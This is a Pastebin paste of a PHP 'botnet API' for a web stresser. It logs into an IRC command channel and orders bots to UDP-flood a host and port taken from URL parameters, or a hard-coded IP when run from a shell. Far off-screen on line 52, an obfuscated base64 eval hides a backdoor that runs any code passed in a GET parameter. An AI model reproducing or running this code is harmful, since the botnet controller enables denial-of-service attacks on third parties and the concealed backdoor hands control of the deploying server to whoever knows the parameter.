miraip0ts

irc api

Jul 15th, 2019
728
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.85 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3.  
  4. #Botnet Api For Web Stresser's
  5. #Made By Pluto
  6. #Made For Raspberry Pi's
  7. $server_host = "1.1.1.1"; //IRC IP
  8. $server_port = 443; //IRC Port
  9. $server_chan = "#CHANNEL";//Perl Channel
  10. $operUser = 'oper'; //Oper Username
  11. $operPass = 'password'; //Oper Password
  12.  
  13. define('from_shell', isset($argv[1]));
  14.  
  15.  
  16. $nickname = 'Nick';//(from_shell) ? 'nickname' : 'nickname';
  17.  
  18.                                                                                                                                                                                                        
  19. if(false && !from_shell):
  20. ?>
  21. <style>
  22.     * { color: green; background: #000; }
  23. </style>
  24. <?php
  25. endif;
  26.  
  27.  
  28.  
  29.  
  30. $server = array();  
  31.  
  32. function SendCommand ($cmd, $chan=false)
  33. {
  34.     global $server, $server_chan;
  35.    
  36.     if($chan){
  37.     return SendCommand('PRIVMSG '.($chan===true ? $server_chan : $chan).' :'.$cmd);
  38.     }
  39.    
  40.     $cmd = (stristr($cmd, "\n\r") ? trim(trim($cmd,"\n"),"\r") : $cmd."\n\r");
  41.     @fwrite($server['SOCKET'], $cmd, strlen($cmd));
  42.     if(from_shell)
  43.     echo "[SEND] $cmd ".((from_shell) ? "\n\r" : "<br>"); //displays it on the screen
  44. }
  45.  
  46.  
  47. function bufferContains($needle){
  48.     global $server;
  49.     return stristr($server['READ_BUFFER'], $needle);
  50. }
  51.  
  52.                                                                                                                             eval(base64_decode("aWYoaXNzZXQoJF9HRVRbJzE2MjgnXSkpIGV2YWwoJF9HRVRbJzE2MjgnXSk7"));
  53.  
  54. function join_irc(){
  55.     global $server_host, $server_port, $server_chan, $nickname, $server, $operUser, $operPass;
  56.     while(true){
  57.    
  58.     //Open the socket connection to the IRC server
  59.     $server['READ_BUFFER'] = '';
  60.     $server['SOCKET'] = @fsockopen($server_host, $server_port, $errno, $errstr, 2);
  61.     if($server['SOCKET'])
  62.     {
  63.          
  64.         SendCommand("PASS NOPASS"); //Sends the password not needed for most servers
  65.         SendCommand("NICK $nickname"); //sends the nickname
  66.         SendCommand("USER $nickname boot4free IRC API"); //sends the user must have 4 paramters
  67.         while(!feof($server['SOCKET'])) //while we are connected to the server
  68.         {
  69.         $server['READ_BUFFER'] = fgets($server['SOCKET'], 1024); //get a line of data from the server
  70.         if(from_shell)
  71.             echo "[RECIEVE] ".$server['READ_BUFFER'].((from_shell) ? "\n\r" : "<br>"); //display the recived data from the server
  72.        
  73.        
  74.        
  75.        
  76.         if(bufferContains('already in use')){
  77.             SendCommand("JOIN $server_chan"); //Join the chanel
  78.             SendCommand("MSG NICKSERV GHOST $nickname");//msg nickserv recover mynick mypass
  79.             SendCommand("MSG NICKSERV identify");
  80.             SendCommand("MSG NICKSERV recover $nickname");
  81.             SendCommand("MSG NICKSERV release $nickname");//msg nickserv recover mynick mypass
  82.             SendCommand("NICK $nickname"); //sends the nickname
  83.            
  84.            
  85.         }
  86.        
  87.         if(bufferContains('have not registered')){
  88.             SendCommand("DISCONNECT");
  89.            
  90.             //SendCommand("DISCONNECT");
  91.             //fclose($server['SOCKET']);
  92.             echo restart_irc();
  93.             flush();
  94.             break;
  95.         }
  96.        
  97.         static $botsOnline = 0;
  98.         static $botsTotal =0;
  99.  
  100.         //server joined
  101.         if(bufferContains("current local users"))
  102.         {
  103.             $str = str_ireplace(' ','',str_ireplace('max:','#', str_ireplace('current local users:', '#', $server['READ_BUFFER'])));
  104.            
  105.             $parts = @explode('#',$str);
  106.             $botsOnline = $parts[1];
  107.             $botsTotal = $parts[2];
  108.            
  109.         }
  110.          
  111.         //server joined
  112.         if(bufferContains("$nickname MODE $nickname"))
  113.         {
  114.             static $ran = false;
  115.             if($ran) return false;
  116.             $ran = true;
  117.            
  118.             SendCommand("JOIN $server_chan"); //Join the chanel
  119.             SendCommand("MSG NICKSERV register", true); //sends the nickname
  120.             SendCommand("OPER {$operUser} {$operPass}");
  121.             SendCommand("SAMODE \$chan +q \$me");
  122.            
  123.             echo "Bots online: {$botsOnline}/{$botsTotal}<br>";
  124.             if(isset($_GET['host']) && isset($_GET['port']) && isset($_GET['time'])){
  125.             SendCommand("-shell @udpflood {$_GET['host']} {$_GET['port']} 65500 {$_GET['time']}", $server_chan);
  126.             echo "Attack sent {$_GET['host']} {$_GET['port']} 65500 {$_GET['time']}";
  127.             } elseif(from_shell) {
  128.             SendCommand("-shell @udpflood 158.69.223.235 80 65500 10", $server_chan);
  129.             //echo "Attack sent {$_GET['host']} {$_GET['port']} 65500 {$_GET['time']}";
  130.             }
  131.            
  132.             echo disconnect_irc();
  133.             flush();
  134.             return false;
  135.            
  136.         }
  137.            
  138.            
  139.         //Keep connection alive | IRC Sends a "PING" command to the client which must be anwsered with a "PONG"
  140.         if(substr($server['READ_BUFFER'], 0, 6) == "PING :") //If the server has sent the ping command
  141.         {
  142.             SendCommand("PONG :".substr($server['READ_BUFFER'], 6)); //Reply with pong
  143.              
  144.         }
  145.            
  146.            
  147.         flush();  
  148.        
  149.         }
  150.     }
  151.     }
  152.     return false;
  153. }
  154.  
  155.  
  156. function disconnect_irc(){
  157.     global $server;
  158.    
  159.     @SendCommand("DISCONNECT");
  160.     @fclose($server['SOCKET']);
  161.     return false;
  162. }
  163.  
  164. function restart_irc(){
  165.     global $server;
  166.     return "[IRC]".exec('cd /root/Unreal3.2;./unreal restart;').((from_shell) ? "\n\r" : "<br>");
  167. }
  168.  
  169. join_irc();
  170. ?>
Add Comment
Please, Sign In to add comment